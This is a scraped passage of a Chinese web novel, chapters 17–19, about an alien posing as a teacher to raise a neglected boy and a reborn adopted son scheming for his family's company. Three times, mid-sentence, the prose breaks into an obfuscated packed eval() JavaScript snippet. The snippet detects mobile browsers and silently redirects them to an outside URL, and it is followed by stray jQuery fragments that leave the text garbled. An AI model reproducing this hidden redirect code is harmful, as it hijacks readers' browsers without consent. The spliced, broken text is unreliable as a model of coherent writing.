如果这些“玩伴”表现出友好行为,如主动交流,微笑等行为,即可逐步增加接触时间并加强引导,如出现不友好行为,养育者需立刻进行干预!
…
1.3.16. 5:通过以上方法,可逐步促进友好关系,减少冲突和紧张情绪。不过需要注意的是,不同的幼年体性格不同,交友过程需要一定的时间和耐心。
注意事项:【■■■■■■,■■■、■■、■■…】
17.第 17 章
狂风卷着刺鼻尘土,整个世界被墨色乌云笼罩,不见天日。
酸雨淅淅沥沥地落下,打在干裂土地上,滋滋冒着白烟。空气中弥漫着腐臭与焦糊味,每吸一口气都刺痛肺部。
高楼千疮百孔,随时可见残垣断壁,一片分不清本来面目的废墟中,几株黑色植物在狂风中颤抖。
这里没有生机,只有无尽的死寂与绝望,时间在这里仿佛已经停滞。
这就是毫无生机的地表。
然而在地表之下,量子屏障后的地下城如同一个会发光的蜂巢。
303实验室的球形核心舱里,十二道虚影正悬浮在反物质冷光中。他们形态不断扭曲变幻,像是被困在棱镜里的彩虹。
他们静静地悬浮在那里,仿佛没有发出任何一丝声响,然而他们却在交流。那是一种意识之间的交流。
一瞬之间即可让彼此都明白自己的想法,而他们刚才共同看了一段记录。
【他最近就在做这个?!】
【这里可以去吗?】
【啊!他在做什么?】
【……】
某个形似水母的淡紫色存在突然伸出荧光触须,在空气中划出全息投影:
【他的意识碎片目前正在原始三维小世界养孩子,他把那个小世界所有进入通道全部封闭,拒绝所有通讯…】
【什么?】
【…】
共享链接内的意识霎时安静下来。
他们的确不能理解,这就好像一个完形生命嫌弃自己太完美,突然要跑去二维一维的世界里当一个扁平的图像,去跟一个小小的蚂蚁相处,把其中一只蚂蚁当自己的孩子,还对小蚂蚁产生了强烈的保护欲,浓烈的爱欲,过度的占有欲?
在他们眼中,蚂蚁不都长一个样子吗?实在是不能理解同族对其中某一只蚂蚁的专注是从而何来。
到底怎么想的呢。
这种行为实在无法理解啊。
平时思考数以千计的念头都在一瞬之间完成,现在却难得为自己同族的奇葩行为卡顿了足足十来秒。
【算了。】
【他不是之前就不太正常吗?】
【也是…】
【这样也好,之前总是听到他那颗星球不间断往意识链接里发出的信号,天天就是找孩子找孩子,吵死了,现在就安静多了…】
【诶!我是说最近怎么休息这么好…意识链接少了他不断找孩子的声音后,果然更清爽了。】
在所有污染文明后裔都认为自己的进化已足够完美时,“莫良”却不断寻找新的突破口,不惜拿自己做实验,就为了找到他的那个所谓的“孩子”。
虽然他的其他实验结果的确给同族带来了不少帮助,但不代表他“找孩子”的举动就被能大家理解了。
除了这点,他本身就很奇怪,平时很少和同族进行交流,每次进入实验室必关闭感知,共享链接也会退出。
现在要找到他,要么去他占领的星球,要么去他现在所在的低维小世界。
前者去了也没用,莫良留下来的本体完全陷入沉眠的状态中,没办法进行意识链接,而且他似乎是打定了主意要留在那个三维小世界中了。
后者更没用,他先一步去了那里,封锁了所有进入通道,连文字信号都传递不过去,别说其他了。
【……】
【三维世界时间流逝和我们也不一样,原始人类寿命很短的,他玩够了应该就会退出来了…】
【对了,还有件很要紧的事!】
之前发言的形似水母的淡紫色光影在输送意念时挥动着无数根荧光触须。
【他太可恶了!居然通过我之前的通道反向溯源,试图污染我的●▄●星球…他居然对同族出手!】
【你惹他了?】
【我只是对他那个小人类有一点兴趣,通过通道放了一丝丝意识过去,想在本子上和他交流,然后被发现了…】
【…】
短暂的沉默后,共享链接里的几道疑惑的意念冒出:
【你……】
【你和他交流什么?】
【难不成你其实也……】
【■■■■■■?】
淡紫色光影衍生出的荧光触须晃动的更厉害,就像受到了什么猛烈攻击。
【不是!我没有那种口味!!】
【…】
【总之帮帮我…我星球上的居民死了大半,剩下的也受了好多伤,现在他们都在不断地求助我…】
污染文明后裔的数量一直不多,大家的本体都在各种的星球中,出于对母星的眷恋,仍旧将303实验室当做他们安置共享链接的场所。
时常共享的意识链接让同族间几乎不会出现太大的分歧。他们几乎不会对同族出手。——当然,除了莫良这个“怪胎”。
同理,一般同族出事,大家也很少会袖手旁观,共享链接内很快有几道意识进行响应。
【我离你那近…】
【发个▄坐标,我等下过来…】
【我刚好也没什么事…】
【…】
【话说他之前那些话…】角落里一道灰白色的细长光影闪了闪,【是不是真的啊?万一他真有一个孩子呢?】
下一瞬,同时出现的几十股念头噼里啪啦地涌进链接内,几乎要淹没那道细长的光影。
【怎么可能!?】
【哈哈哈哈哈你怎么也疯了】
【之前有一批学者说我们最初也来自于原始人类,可那条已经被证伪了,我们并不来自于他们,反而是比他们更加古老的存在…】
【我认识CT-2546时,他还只是一缕变异菌丝,你懂吗?我看着他长大,他有没有孩子我怎么会不知道?】
【他本来就是个怪胎吧…】
【行了行了,别聊他了…】
【…】
这场讨论已然进入尾声,就在共享链接内的意识互相告别时,一直在首位却始终黯淡的光影忽地亮了一瞬。
一道念头出现在共享链接中。
【说不准。】
【时空是纠缠嵌套在一起的莫比乌斯环。】
*
李卓从教师公寓下来时,抬头看了一眼三楼的位置,恍惚间看到一抹一闪而逝的黑影,再想看时,已经不见了。
一个小小的插曲而已。
收回视线,李卓面色如常地行走在林荫小道,细碎的阳光透过树叶间隙落依次落在他的头顶、他的肩膀、他的手臂。
他从口袋里摸出一张纸条,光又落到纸条上,上面清晰记着一串电话号码。这是…莫良的。
真奇怪,昨天莫老师那么严肃的样子,他还以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15012632|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为要和自己说什么天大的重要事情呢?结果只是给了他的号码。
两个人每天见三次,到底有什么话不能直接见面说,还要打电话?
话虽如此,对老师天然的听话还是让他把那串号码记了下来,承诺等放假的时候拿回自己的手机,就把号码存进自己的手机通讯录里。
不知不觉已经走到了教学楼下,李卓忽然抬头看了看自己的教室,又看了看正对教室的另一栋教学楼。
好巧啊,对面正是6号教学楼,也是莫老师办公室的位置,只要跨过一道内部连廊就可以过去了。
以前怎么没注意呢?
实验校服的颜色是很经典的蓝白配色,大多数学生都嫌太土太丑,除了做课间操时,因为老师规定必须要穿才会勉强穿上,其他大多时候都不会穿。
在这种情况下,李卓穿着全套的校服校裤在其中就显得格外扎眼了。
像小溪中央突兀的石块,像一片姹紫嫣红的花园里一朵色单调的小花,怎么也难以融入进去。
他心里生出一个想法,想和其他学生一样把校服脱下穿上自己的衣服。
刚好宿舍床底的箱子里就整整齐齐地放着两套新衣服,那正是之前放月假时,莫老师带他去商场买的。
他想,老师说过在学校必须要穿校服啊,他又想,可是他们都没穿啊。
正好一阵闷热的暖风吹来,李卓想,这天真是越来越热了,转而又想到另一件最近总是在班里听到的事儿。
好像…快放暑假了吧?
*
“下个月就该放暑假了吧?”
一间装修极简约的办公室内,一位二十来岁的青年姿态闲适地坐在办公桌前,左手随意搭在扶手上,右手轻轻敲击着桌面,节奏不紧不慢。
一旁立着汇报行程的助理。
他或许没想到李轩怎么上一秒还在作询问工作,怎么无缘无故问起暑假了?
助理面上有些迷茫,但依旧迅速回答道:“是啊,放假都在七月初左右,下个月学生们就要放暑假了。”
助理在回答完后才想起入职后听过一些真真假假的传闻,听说李轩好像还有个正在外地上高中的弟弟?
其实关于李轩的家庭,外面说什么的都有,说是李家亲子的,还有说只是养子,真正的亲儿子另有他人的,还有说什么那个亲儿子就是李轩赶出去的?
至于再具体的,他这个刚入职的外人就不知道那么多了,反正私底下偷偷说一说又不用负什么责任。
“你猜,他们会不会记得?”
他们?谁?是说董事长和夫人吗?助理生怕这是一个送命题,只能慎重回答:“应该会…会吧?”
毕竟是亲儿子呢,虽然不知道为什么李董要把小儿子送去外地一个公立学校,但总归有层血缘吧?
青年闻言却轻轻摇头。
“错了。”
“你还是太不了解他们了。”
青年身着一套剪裁合身的黑色西装,衬得身姿愈发挺拔修长。
他的脸庞线条柔和,五官精致,嘴角噙着一抹恰到好处的微笑。乍一看似乎给人如浴春风的感觉,可细看,眼底蕴藏着野心正蓄势待发。
他的视线穿过落地窗,俯视着整座城市最高的楼群和远方的地平线。
“对他们来说,利益大于一切。”
18.第 18 章
在还没有真正见过李卓前,李轩便早早地记下了这个名字,无他,只因他重生那日正是李卓出生的日子。
关于那一天,哪怕过去十几年,他也依旧对此记忆尤深。
千禧年,正月初五,在这个千年难遇的特殊年头,大街小巷洋溢着比往年浓郁数倍的年味。
来往穿梭的路人们穿着各式各样的新衣服,脸上挂着幸福的笑容,和亲朋好友们结伴而行。
一处阴暗巷口的角落,一个小孩穿着单薄破旧且完全不合身的衣裳,脚下脱胶的鞋底被皮筋勉强绑着,手指冻得通红,蓬头垢面,活像个小叫花子!
但他一点也不在意,一点也不。
他激动地查看自己缩水的手掌,又不断打量周围陌生又熟悉的环境,他跌跌撞撞的往小巷深处跑去,最终停在一间锈迹斑斑的小铁门前。
里面的两三个小孩同样等了许久,听到靠近的脚步声后,便迫不及待打开门,焦急地伸出一条条枯瘦的胳膊询问今天怎么样?
“怎么样怎么样?”
“有要到吃的了吗?”
“住巷口的奶奶不是说会给我们剩一点吗?她是不是不在家啊?”
门外的小孩则对讨要的手视若无睹,他呼吸急促,瞳孔微微放大,只反复询问同一个问题:“现在是多久?!”
“你在说啥?”
“你疯啦?!”
“哎,今天又要饿肚子了。”
“…”
*
其实在看到那三个小孩时,李轩已然清楚自己这是重生回了什么时候:他回到了还在福利院的时期。
这个世上有那种尽心尽力,为没有血缘的孩子们自掏腰包,让院里的孩子再度拥有第二个家的大善人,也有打着福利院的由头两头骗,将各界好心人士的善款通通吞下的大恶人。
很不幸,李轩待的福利院属于后者,院长吃得满嘴流油,院里的孩子却饿得前胸贴后背,一个个面如菜色。
那时李轩还不叫这个名字,上一世的他为了能从烂泥一样的人生中爬出来,付出比别人多数倍的努力汗水和辛苦,靠着一种惊人的毅力成为院里第一个上高中乃至考出那座北方县城的人。
那时的他是多么意气风发,以为这样就能改变自己的命运,可最终也只是堪堪成为了一个高级打工仔而已。
第一个顶头老板是一个连基础数学题都解不开的白痴,不过是一只运气好赶上风口的猪,靠着陈旧的经验夸夸其谈,实际上每天忙碌奔波的都是李轩。
即便如此卖命,在公司因东家贪婪愚蠢的个人之举而深陷舆论风波时,李轩还是无情被推出,成了一只明面的替罪羊,被开除了事。
换做旁人,兴许早就一蹶不振了,但李轩仍旧靠着一口气再度翻身。
这次的他没有选择给谁打工,而是选择自己创业,虽说前期吃了不少苦,虽然公司规模有一点小,但胜在市场是一片蓝海,他也很快也见到了收益…
谁也没想到,意外再一次发生了,李轩辛辛苦苦搭建的框架被行业内另一家大公司悄无声息地据为己有。
他保存证据聘请律师,还没开庭就花出去几十万,可对方反过来诬告李轩,对方家大业大,这场消耗战中他一个平头百姓的确耗不起,很快以破产作为结局…
前世种种在刚重生的李轩大脑里飞速闪过,除了未来几十年发展外,他的心中快速生成一个大胆的计划。
前世他吃了太多苦,就是因为太守规则,就是因为没有人脉,所以计划第一步一定要改变自己的出身。
经过一番精心挑选后,李轩选择了李家夫妻。
不仅是因为在上一世,他因一些业务往来和他们有过交集,对他们较为熟悉外,还因为一个传闻。
海市是国内数一数二的一线城市,其独特的地理位置及优越的产业经济、集中的教育医院、丰厚社会福利吸引了无数各地的富豪汇聚于此。
李家就是其中之一。
作为靠着风口快速起家的类型,李家在海市其实还够不上那种顶级豪门,属于比上不足比下有余的中等梯队。
过去的时代红利让李家迅速积累了几辈子都花不完的财富,他现在缺的就是名。
在海市极度排外的气氛下,其他外地人都自成一派,李家的当家人李华川却为了甩掉暴发户的名头,为了融入所谓的真正上层圈子,常常带着自家太太和儿子去参加各种圈子里的名流聚会。
何必呢?
上一世的李轩不理解,但不妨碍他认为这是一种很好的突破口。
关于李家,他调查得很清楚,李华川和现任妻子育有一子,现任身体不太好,倘若不出意外,这个儿子应该会是李家的唯一继承人。
李华川在外的口碑一直很好,尤其公共场合的一些表现更得到了许多好丈夫好父亲的名头,先不管是不是演的,总之这个形象是打出去了。
然而这世上没有不透风的墙,只要用心查,总还是能顺着蛛丝马迹查出一些陈年旧事。
例如李华川早些年有过一位初恋,俩人年轻时你侬我依,后分道扬镳。在初恋去世后,李华川才知道自己和她有过一个儿子,这时他已结婚,为了顾及面子,只能偷偷摸摸前去寻找,可惜找到时孩子早死了。
这本该和李轩没什么关系,但好巧不巧,李华川的私生子居然就和李轩在同一个小县城的同一家孤儿院。
那这个事情就远远不同了。
哪怕自己比那个死去的孩子大上一些又如何?自己本来就很瘦弱,想冒充一个私生子不是什么很难的事情。
再例如李家的独子李卓一岁多半时曾差点死在火海里。虽然李家对外的解释是一场意外,实际内情却是李华川在妻子怀孕前和一位女佣厮混,后因不明原因将其踹走,对方怀恨在心,存心报复。
只要稍微在其中运作一二,利用这股仇恨做点什么不是轻而易举吗?
历经沉浮的灵魂在一具稚嫩的身体苏醒,那双本该纯真无邪的眼底显露出成年人特有的深沉算计。
*
李轩是在很久后才意识到自己重生那天居然是李卓生日的,好像冥冥之中有双无形的大手将两条完全不相干的生命至此连在了一起。
李卓第一次生命的新生是自己第二次生命的新生,这听起来就很玄妙。
最终,在重生的李轩利用先知优势提前布局筹谋之下,他成功实现计划的第一步:改变自己的出身。
虽然整体计划没有出现太大的失误,但毕竟世事无常,一些微小的细枝末节处还是和预想中发生了不符。
例如李轩本来只是让女佣把李卓带出来偷偷藏起来一段时间。
他的主要目的还是想引导李家那对夫妻顺着安排好的路线顺利找到自己,这样李轩就可以用一些模糊不清的物证让李华川错认自己的身份,只要等他进了李家,再把李卓放出来就行了。
结果那个女佣把他转手卖了。
好吧,卖了就卖了吧,李轩想着只要第一步计划成功就行,也只有这样,后面的动作才能顺利进行。
可令他没想到的是,就在他第二步蚕食计划才进行一半时,一个名不见经传的节目组居然把李卓给找回来了。
找回来了可还行?他辛辛苦苦经营这么久,万一李卓回来威胁他的位置,这一切不就功亏一篑了吗?
得知消息后,李轩完全不敢相信,而这种不可置信在机场见到李卓本人时更加浓烈了几分。
他见到的李卓和他记忆中的样子完全不同:一张饱经风霜的脸庞,充满警惕的眼神,还有那瘦瘦小小的个子…
很难形容李轩当时的心情。
而李家那对夫妻呢?
或许是有真情流露吧,尤其在刚找回的那段新鲜期里,迟来的庞大情感袭击了两个人的脑袋,他们太过于愧疚,想要把亏欠的一股脑都补给那个可怜又倒霉的孩子。
给他置办各种定制的高奢服装,为他重金请知名外教在家里教导他各项技能,手上一些很明显的伤疤也用最高端的医美技术去掉…
在李轩的记忆中,李卓是很聪明的,只要给他一点时间,他很快就能成长起来,但这样的情况对谁不利呢?
显而易见。
于是李轩理所当然的出手了。
*
在过往十几年的相处中,李轩已然看透他如今的养父,更了解他的本性是多么冷漠自私,多么利益至上,而他的养母又是个没什么主见的应声虫。
想对付他们太简单了!
只要别在乎什么亲情父爱母爱,只要表现出对他有用的特质,只要陪他们演演戏,他们自然而然会站在你这边,自然而然会表现出“爱”。
可李卓不知道这些,他作为一个刚刚被找回来的孩子,对这对阔别多年的亲生父母充满着天然的、懵懂的孺慕之情。
他亲近他们,在意他们,看重他们的每一句话,每一个眼神。
正因为太在意了,后来才会对他们那样歇斯底里,试图做出各种引起注意的小把戏,以为这样就能得到关心?
其实无论是离家出走也好,针对李轩的那些让他出丑的机关也罢,在真正的大人眼里,他的行为不过只是小孩子弄出的不痛不痛的恶作剧罢了。
他不知道儿子和亲情对李华川而言并不重要,重要的是谁能给他带来更多的利益,谁能让他更有面子。
别说在李华川眼中李轩也是他的亲子,就是真正的养子,只要表现更优秀,他也同样能舍弃亲子。
上一世的李卓能让他在外人面前更有谈资,他当然对其和颜悦色,但这世说话都带着口音的乡巴佬呢?
可能也就刚见面的那两天有那么一点点微薄的亲情吧。
自恋地觉得自己的基因不会太差,于是李卓被送到国际学校,李华川会在意李卓是否适应吗?在意李卓是否受到了排挤和霸凌吗?
不,只会看他的表现罢了。
而李卓的确涉世未深,加之他太过想要表现自己,在简单的刺激下,他作出了许多令人啼笑皆非的蠢事,这些事又在李轩的运作下传得人尽皆知…
这显然触动了李华川极爱面子的软肋,于是对这个刚找回来,相处本就不多的“愚蠢儿子”愈发没了耐心。
这就好像他和李卓参加同一场考试,一个是开卷考,一个是闭卷考,开卷考的李轩想不到自己要怎么输。
于是李卓被送往外省读书这件事也就自然而然地被搬到了台面上。
李华川最初的想法甚至更冷漠,他不愿意承认这个儿子,一心只想赶紧送到普通公立学校,任其自生自灭。
反正只有一年多的感情,他和这个儿子也不太熟,有他没他都一样,李华川甚至最开始都没想到他的生活费…<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15020191|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>或许李卓的母亲的确是不舍的,虽然十多年没见,毕竟是自己亲生的,可她又习惯了对丈夫的话逆来顺受,所以她的意见也就变得可有可无了。
李轩比想象中还要轻而易举的将李卓这个真正的李家少爷排挤出了李家,就像一只成功鸠占鹊巢的鸠。
很恶毒,对吧?
李轩自己也这样认为,他的确是一个为达目的不择手段的大恶人,只要计划能成功,他愿意利用一切。
而现在,董事会已经被他悄无声息地替换部分自己的人,集团上下,他提拔了不少新人用于培养…
蚕食计划就要成了。
李轩视线的锚点轻飘飘地落到办公桌前的职业牌上,尤其重点盯着代理两个字,很快,要不了多久,这两字就要去掉了。
他心情愉悦地完了完唇角,他等一天,实在是等得太久太久了。
*
“咚咚咚…”
外面传来清脆的敲门声,跟着响起一道熟悉的沉闷男声。
“李总,您已经工作一上午了,现在时间不早了,该吃午饭了。”
李轩扬声:“知道了。”
他工作时最忌讳被打扰,别的助理都知道,一定不会主动来打扰。但外面提醒的人叫洪麟,是李轩的贴身保镖,更是一路跟着李轩的重要心腹。
刚重生时的李轩说破天不过是几岁的小屁孩,哪怕脑子里有很多宏伟的计划,但年纪太小了,干什么事都不方便,只能让这个人替他去咯。
无论是提前听话地买哪只股票,在指定地点接触、恐吓、威胁谁,还是和某个豪门保姆偷偷联系,诸如此类的事情几乎都是洪麟替他做的。
前世的洪麟是一个辍学的小混混,家里有一位上了年纪的奶奶,平时靠着替高利贷进行线下暴力收债而维生,后因过失杀人锒铛入狱。
李轩重生后找上了他。
洪麟当时才打完一场群架,一双凶恶的眼睛不怒自威,眉峰处新鲜的伤口还往下淌着血,嘴里抽着一根不知道从哪捡来的皱巴巴的烟。
别的小孩看见他这样早就一溜烟跑开了,可内里居住着成人灵魂的李轩反而对此更加欣赏了。太好了!他要的就是这样一把锋利的刀!
于是个子都还没人家大腿高的小屁孩大言不惭的喊出洪麟的全名,说自己知道他的一切,想赚钱就得听他的话。
洪麟最开始的反应是笑出了声,低头看着衣衫褴褛的“小乞丐”,从口袋里翻了翻,找出一块被压扁的奶糖。
“喏,拿去吃吧。”
李轩并没有接,他依旧用那双黝黑的眼睛坚定地盯着他,以一种称得上怪异的口吻再次重复:“你以后会坐牢,但只要你听我的,我可以让你赚很多很多钱,这样你就有钱治好你的奶奶…”
后来他答应了。
洪麟一路跟着李轩从破破烂烂的小县城到了首屈一指的大城市海市,他亲眼见着他如何“鸠占鹊巢”,甚至在其中出了不少力。
在李轩刚到李家没站稳时,在李轩想做什么又不方便出面时,在李轩不想让谁开口时,无论什么时候,他永远是为李轩扫清一切的拳头与武器。
后来洪麟唯一的亲人奶奶去世,从此以后他每月的月假也不休,几乎二十四小时不间断地守在李轩身边,守护他的安全,执行他的命令。
不知不觉十几年就这么过来了,他一直都是一条对主人忠心耿耿的好狗。
可是…李轩还是有一点顾虑,洪麟知道的实在是太多了。
早些年刚重生时,他为了获得洪麟的信任,也为了快速筹集资金以便做更多事情,而暴露了太多不合理的异常,只要稍微一思索,肯定就能发现他重生的秘密…
包括后来…他掌握太多把柄了。
哪怕知道洪麟背叛的可能性微乎其微,但这个人的存在对李轩而言就像一处隐患、一根隐刺、一颗不知道什么时候会忽然爆炸的炸弹。
他心里自然而然的冒出一个念头,等蚕食计划成功就偷偷地除掉他吧?
上午李轩不是无缘无故提到暑假,只是上楼时听到一位员工正在打电话,从外放的听筒中听到了一声哥哥。
他忽的想起来李卓也曾叫过自己哥哥,那时在刚到李家时,李卓还曾小心翼翼的亲近他,笨拙地同他交流,想要和自己处好关系呢。
可惜啊…
其实李轩不是没想过和李卓合作,尤其在通过节目组的镜头看到坪山村的艰苦环境时,他本以为这个历经磨难的“小雀”在回归后会对李家夫妻怀有恨意,那么他们也不是不能成为盟友。
可是…李卓太心软了,他真把那对夫妻当作父母去爱,哪怕被抛弃,也依旧怀抱着最后一丝期待,真是……真是太可怜了。
他完全不知道李华川早就把他给忘了,哪怕李轩主动提到暑假,男人也完全没想到还有一个远在常阳读书的儿子。
起身离开办公桌,李轩忽然想起今天已经是6月1日了,他掏出手机,点开某个app,熟练地进入转账页面。
这次给弟弟的留言写什么呢?
他有点头疼,之前都是乱想的,这一次写点什么呢?恰在这时,手机收到一条节日推送,他干脆现抄下来。
户名:【…】
账号:【…】
转账金额:30000.00
转账附言:【炎暑将至,注意喝水。】
19.第 19 章
莫老师…不对劲。
李卓托着腮帮子,笔尖无意识地一下下戳着草稿本。
最近天气一天比一天热了,有时就是什么都不做,坐着都会不知不觉流一身汗。每当这时,他就忍不住想:
莫老师为什么还是穿着长袖长裤呢?他难道感觉不到热吗?好像的确没看到过他流汗的样子。
这是其中之一。
上次班里到了固定换位置的时间,李卓上午刚被换到有点晒的靠窗户边,下午就被换了回来。
以前不少同学年年让学校给宿舍安空调,学校年年装聋作哑,只有今年,不仅听了,反应还如此迅速!
据说是一位不知名好心人士给学校无偿捐献的?这也太凑巧了吧。
包括学校的心理咨询室,在其他同学口中,那就是一个用来应付了事的摆设,心理老师更是见都没见过。现在的也差不多,或者说,是仅对李卓开放?
只要跟着李卓去新的咨询室,就会发现门刚好是开着的,莫老师十有八九在里面坐着。只要换了其他同学,见到的无一例外都是紧闭的房门。
不少同学都试过,这就好像游戏里不到触发条件就进不了某个副本一样。
还有一点…
李卓记得自己前两个星期在课余时间被学校某处花坛绊了一跤,第二天那处花坛就悄无声息地被移走…
有一次莫良还提到他之前在坪山村的事,李卓猜测他可能搜到以他为主人公的那期寻亲节目,不然怎么会问出“他是不是对你很坏”的问题…
“其实我养父,就是买我的那个男人,他对我没有那么好,也没有那么坏,就是普普通通的…”
李卓说的就是实话。
杨独眼的确没有对他好到捧在手心疼着宠着,但也不至于坏到整天殴打辱骂。环境就那样,条件就那样…
李卓平静地回忆道:
“我记得他心情好的时候也会抱着我在院子里看月亮…”
“他还能干活的时候,有几次从镇子赶集回来会给我带几颗糖。那种用透明镭射纸包起来的,水果味的…”
“甜到有些齁,我每次都会用热水泡开,这样甜味中和,也能喝很久。”
“你问我好不好,其实我现在想想,也还好吧,我已经忘了。”
他这样认真解释,但莫老师看他的眼神还是那种他没办法形容的奇怪,浓烈的愧疚自责几乎快要溢出来。
“我应该来早一点的…”
“你也不会吃那么多苦了…”
“手还会疼吗?”
“让我看看…”
他不断地和李卓道歉,明明就和他没什么关系,他却觉得是他没做好。
最近快放暑假了,李卓试探性地给他亲生父亲发去了一条短信。
内容大概分为两部分,上半段汇报自己上次月考的成绩从班里三十多名进步到了十五名,下半段暗示他放暑假了,看他会不会提出让他回海市的话…
这份短信如石沉大海。
他起初的确低落了两三天,后面又想着兴许父亲只是太忙了吧?毕竟他是那么大一个集团董事长,以前在家的时候,他就很忙啊。
于是李卓就没再想过这事,但莫老师似乎依旧对这件事情耿耿于怀,他似乎比他本人还要在意他所受到的轻视?
时不时还会旁敲侧击地问一些关于对李家以及对李家产业的想法,以及他的愿望是什么…
莫老师用一种轻蔑的口吻说李家那一点东西扔了也不算什么,可那本就是他的东西,被占了,他想拿回来吗?
“可我没管过那么多公司啊。”李卓认真地进行纠正,“而是那不是我的,是我爸的,他给谁都是他的事…”
“………”
当时的莫老师沉默了很久,再后来总是能看到他用很复杂的、完全形容不上来的眼神盯着自己。
太奇怪了吧?
当然,李卓慎重地想,莫老师最近的情绪异常也不一定就是因为他的原因,也可能是别的事情吧。
莫老师之前不是说过他有一个意外去世的孩子吗?说不定是因为那个孩子的事情呢?
人不能太自作多情。
至于对自己的好,大概是把他当做了替代品,像睹物思人一样吧?
莫老师总是能用温和的语调宽慰他,但是他自己呢?书上都说医者难自医,想来也是有几分道理的。
可是…可是…
“……”
生活里的难题果然是比课本上的难题复杂且多变,也难解多了。
李卓浪费了一整个课间的时间,却只将草稿纸戳出一片细密的小黑点,还是没把问题想明白。
他觉得自己好像得出了答案,又觉得那似乎并不是真正的答案。
或者正确答案早就已经无数次在眼前飞过,但他自己并没有伸手去抓。
---
日子如一条涓涓细流,平静无波地流淌。距离放暑假还有最后两周,课程也肉眼可见地紧密起来。
这周日的晚自习极为罕见的不是班主任,换成了英文老师。他算是几个主课老师中最受学生们喜欢的老师。
果然在讲完课后,他开始讲起自己的故事,最后十分钟更是让同学们自由讨论,互相背一下单词。
教室顿时成了闹哄哄的菜市场。
李卓认真检查默写错误的单词,邓余亮和前桌天南海北地聊起了天。
他依旧不参与,但脑袋里飞转的思绪怎么也停不下来,也许因为同桌讨论中溢出来的电影中外星人的关键词。
李卓忽然抓住这一点。
——假如他是外星人呢?
这听起来真不可思议。
一般来说,大部分人对外星人的印象,多源于科幻电影中张牙舞爪入侵地球的绿皮人或者恐怖灵异中的死神…
和这些相比,莫老师顶多神出鬼没了一些,顶多…是对他好了一点,怎么看也算不上吧?
可是…
耳边的叽叽喳喳依旧没停。
忽然,李卓听到一阵脚步声。他快速低下头,翻开其中一页教科书,嘴上背着单词,同时快速提醒道:
“老师看过来了。”
没多久,脚步声越来越明显。
八卦声顿时收声,等英语老师巡逻过来时,只听到一阵阵叽里咕噜背单词、背课文的声音…
这件事像一颗平平无奇的石子没入一条湍急的溪流,很快消失不见。
---
【这是什么?】
莫良正在查看系统给自己发送的关于李卓近一个月的汇总记录。
其中不仅有他的身高体重等基础信息,还有每天的饮食情况、睡眠情况、备份过的微表情、掉落的每一根头发…
为了更直观,密密麻麻的数据还做成了一道道可视化弧线。
望着不同颜色趋于平稳的线条,莫良心情极为不错,很快也注意到最下方一条极为浅淡的灰色线条。
【这条线为什么是下降的?】
【这条线记录了从激活到现在,任务目标对宿主个人问题产生好奇及询问的次数…】
【最高峰在第一个月,第二个月开始逐渐减少,到最近一个月已经完全没有了…】
至于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15025073|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为什么没有…
系统卡了两秒,最终得出结论。
【可能是宿主您现在扮演人类越来越熟练的原因吧?】
经这么一提,莫良反应过来,的确有很长一段时间没有听到类似李卓再询问关于他过去的事了。
像什么他以前是哪里人,之前读书时是什么样,为什么会选择来实验中学,以前的孩子是什么样,平时放假去哪里之类的问题的确好久没听到了。
不过或许就像系统说的那样,是因为他现在扮演人类越来越有经验吧?
他最开始连呼吸都不知道怎么表现,一整天不吃不喝也不会眨眼。后来的他改善了许多,会模拟呼吸,会定时眨眼,不会再连着骨头一起吃,更不会再表现出超出正常咬合力的范畴…
他自己也觉得自己现在越来越像一个正统的原始人类了,这让他感觉心情很好,自己离孩子又近了一步!
莫良很快将这个问题抛之脑后,仔细查看起关于暑假夏令营的日程安排,其中除了几个热门景区外,着重看了人员清单以及每餐的伙食安排。
【必须要让他交朋友吗?】
【当然…】
目前任务进入第二阶段,上一个阶段是养好他的身体,而这个阶段需要让他不再那么畏惧社交,走出阴影。
系统介绍说许多分支任务其实是根据任务目标心中的执念所化成的,有的更在乎事业,有的在乎复仇,有的在乎亲情友情爱情,目的不同,侧重点也不相同。
经过系统和莫良的层层筛选,在众多计划中选定即将到来的暑期夏令营。
和李卓说这事时,他正拿着一张试卷盘腿坐在毛茸茸的地垫上,吹着空调,埋着脑袋在茶几上认真刷题。
对莫良报名夏令营的消息,他没有很惊讶,依旧在草稿纸上演算题目。
“嗯,我知道了,谢谢莫老师。”
他这样答。
自家孩子的表现与系统推测不符,操心的养育者又不免开始担忧。
【他这是喜欢还是不喜欢啊?】
系统立刻开始进行微表情分析,得出他此刻正在认真解题。
【应该是…喜欢吧?】
【那就好。】
系统在扫描李卓的每一个微表情,莫良自然也在观察自家孩子,或者说不是观察,而是一种充满怜爱的凝视。
